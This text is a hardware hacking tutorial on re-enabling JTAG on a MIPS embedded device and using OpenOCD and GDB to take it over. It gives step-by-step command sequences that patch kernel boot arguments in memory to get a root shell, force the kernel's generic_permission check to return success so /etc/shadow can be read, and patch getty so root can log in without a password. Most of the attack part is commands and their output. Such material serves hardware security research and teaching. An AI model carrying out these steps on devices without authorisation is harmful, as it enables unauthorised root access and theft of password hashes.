In some cases JTAG is disabled by default and multiplexed with another feature, in this case the EPHY LEDs. In order for us to enable it again we need to study the datasheet.
Digging deeper into the datasheet we find that on boot the pin ANT_TRN controls if JTAG should be enabled or disabled, after boot the pin returns to its normal purpose. Default ANT_TRN is set low (0V) enabling EPHY_LED, if we want to enable JTAG we need to pull this pin high (5V) on boot.
Interacting with JTAG
Make sure Tigard switch is set to JTAG mode
Supply 3.3V power from Tigard using the power switch
OpenOCD server is successfully running. Open a new terminal and connect to the server:
$ telnet localhost 4444
...
Open On-Chip Debugger
> halt
target halted in MIPS32 mode due to debug-request, pc: 0x80011090
## dump 0x20000000 (size) data from memory address 0x80000000 to file mydump.bin
> dump_image mydump.bin 0x80000000 0x20000000
Debugging / Exploiting
Patching boot arguments (in memory)
Sometimes the boot arguments are hard-coded in the kernel:
Looking on line 0x020bcc0 and more specifically address 0x020bcc8 we have the hex data 0x324d0000. If we end the boot argument string with <space>1 (0x2031) it will tell the kernel to boot into single user mode, thus bypassing the login screen.
The kernel get loaded into the memory at address 0x80000000, making the interesting address to look on 0x8020bcc8, this is needed later.
To patch/exploit this start by opening three terminals.
## Terminal 3, Telnet to OpenOCD for patching/exploiting
$ telnet localhost 4444
...
Open On-Chip Debugger
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x80005f80
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x80005f80
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x80005f80
NOTE: If the system is reboots (you see this in the 1:st terminal) it's because the system has a watchdog timer and it thinks something went wrong. Just keep halting the system until the rebooting stops.
Commands used
Action
mdw
Memory Display Word - display data on memory address
mww
Memory Write Word - edit data on memory address
wp
Watchpoint - halts when something tries to access memory address
rwp
Remove Watchpoint
## Terminal 3
> mdw 0x8020bcc8
0x8020bcc8: 324d0000
## Write over the data, set a watchpoint and resume until something writes there
> mww 0x8020bcc8 0xffffffff
> mdw 0x8020bcc8
0x8020bcc8: ffffffff
> wp 0x8020bcc8 4; resume
target state: halted
## Remove the watchpoint and step pass it to keep it from halting, and see if something has been written.
> rwp 0x8020bcc8; step; mdw 0x8020bcc8
target state: halted
0x8020bcc8: 32ffffff
## 32 has been written, but we're still missing 4d. Set a new watchpoint, resume and repeat the process.
> wp 0x8020bcc8 4; resume
target state: halted
> rwp 0x8020bcc8; step; mdw 0x8020bcc8
target state: halted
0x8020bcc8: 324d0000
## We got the expected value 324d0000, so lets edit the data to patch/exploit the system.
> mww 0x8020bcc8 0x324d2031
> mdw 0x8020bcc8
0x8020bcc8: 324d2031
## (optional) Double check that the data is still there
> wp 0x8020bcc8 4; resume
target state: halted
> mdw 0x8020bcc8
0x8020bcc8: 324d2031
## Remove the watchpoint and resume. The system should now boot and give terminal 1 a root shell.
> rwp 0x8020bcc8; resume
With an low privileged user we're not able to read files such as /etc/shadow. We can circumvent this by patching the permissions through JTAG directly in the memory, giving us full read access. This is just a simple PoC and can be used in many other similar ways.
## Terminal 1
$ cat /etc/shadow
cat: can't open '/etc/shadow': Permission denied
## List all kernel symbols
$ cat /proc/kallsyms
...
## List kernel symbols handling permissions
$ cat /proc/kallsyms | grep permission
...
800a8a38 t generic_permission
## Terminal 2 (JTAG is connected and OpenOCD server is running on another terminal)
$ gdb-multiarch
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) target remote localhost:3333
Remote debugging using localhost:3333
...
0x80011090 in ?? ()
## Look on the instructions at the generic_permission address
(gdb) x/70i 0x800a8a38
0x800a8a38: addiu sp,sp,-40
0x800a8a3c: sw s2,28(sp) <-- preserve state with save word (sw), copy registers to stack
0x800a8a40: sw s0,20(sp)
0x800a8a44: sw ra,36(sp)
0x800a8a48: sw s3,32(sp)
0x800a8a4c: sw s1,24(sp)
..
0x800a8b2c: li v0,-13 <-- load immediate (li), load value -13 (return code) into register v0
0x800a8b30: lw ra,36(sp) <-- load word (lw) from stackpointer into register, doing the job.
0x800a8b34: lw s3,32(sp)
0x800a8b38: lw s2,28(sp)
0x800a8b3c: lw s1,24(sp)
0x800a8b40: lw s0,20(sp)
..
NOTE: If you get all 0’s in GDB, the system might not be properly halted.
A call to a function that checks permission will either return a value that grants permission – in this case 0 – or another value that might be an error code – in this case -EACCES (represented as 0xfffffff3 or -13 ). In the example above, this result is stored in the register v0, and then the function returns to the caller.
We can patch/exploit this by putting a breakpoint on this li instruction, and when it tries to deny access by returning -13 or 0xfffffff3, we simply replace the value with 0.
## Terminal 2
(gdb) b *0x800a8b2c
Breakpoing 1 at 0x800a8b2c
(gdb) c
Continuing.
## Terminal 1
$ cat /etc/shadow
## Terminal 2
Program Stopped.
0x800a8b2c in ?? ()
## Check the value of v0 in the register
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000000 00000000 8392d158 803020c0 00000038 00000001
..
## Look on the next 5 instructions at the program counter
(gdb) x/5i $pc
=> 0x800a8b2c: li v0,-13
0x800a8b30: lw ra,36(sp)
0x800a8b34: lw s3,32(sp)
0x800a8b38: lw s2,28(sp)
0x800a8b3c: lw s1,24(sp)
0x800a8b40: lw s0,20(sp)
## Next thing that will happen is to load the value -13 into v0. Confirm this.
(gdb) stepi
(gdb) x/5i $pc
=> 0x800a8b30: lw ra,36(sp)
0x800a8b34: lw s3,32(sp)
0x800a8b38: lw s2,28(sp)
0x800a8b3c: lw s1,24(sp)
0x800a8b40: lw s0,20(sp)
0x800a8b44: jr ra
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 fffffff3 00000000 8392d158 803020c0 00000038 00000001
..
## v0 is set to fffffff3, it will deny our request to read /etc/shadow. Lets patch this!
(gdb) set $v0=0
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000000 00000000 8392d158 803020c0 00000038 00000001
..
(gdb) c
Continuing.
The /bin/getty binary handles login to a system. Using the flag -f will force authentication without asking for a password, making it possible to simply login as root using login -f root. In some versions of getty, how they handle this is that they hard-coded -- at the end of the string, invalidating any other flags.
What we can do using JTAG, is to find the bytes -- (2d 2d) and patch it to -f (2d 66) thus being able to bypass the login as any user. But how should we find 1 byte of data in the memory?
One way is to write a script to read 8 bytes of data at offset 0x7c9 and compare to the known signature 00 2d 2d 00 25 73 3a 20. If it's a match we can immediately patch it and hopefully gain access to the system.
## Terminal 2, JTAG is connected and OpenOCD server is running on another terminal
./ocd_rpc_getty.py -t yocto -s 0x80000000 -e 0x10000000
target state: halted
0x09dc97c9: 0x25002d2d 0x63203a73
Patching 0x09dc97ca to 0x66
Patch failed, it's possible that there are several copies of getty in memory, or even another bit of memory that contains the same string. Run the script again.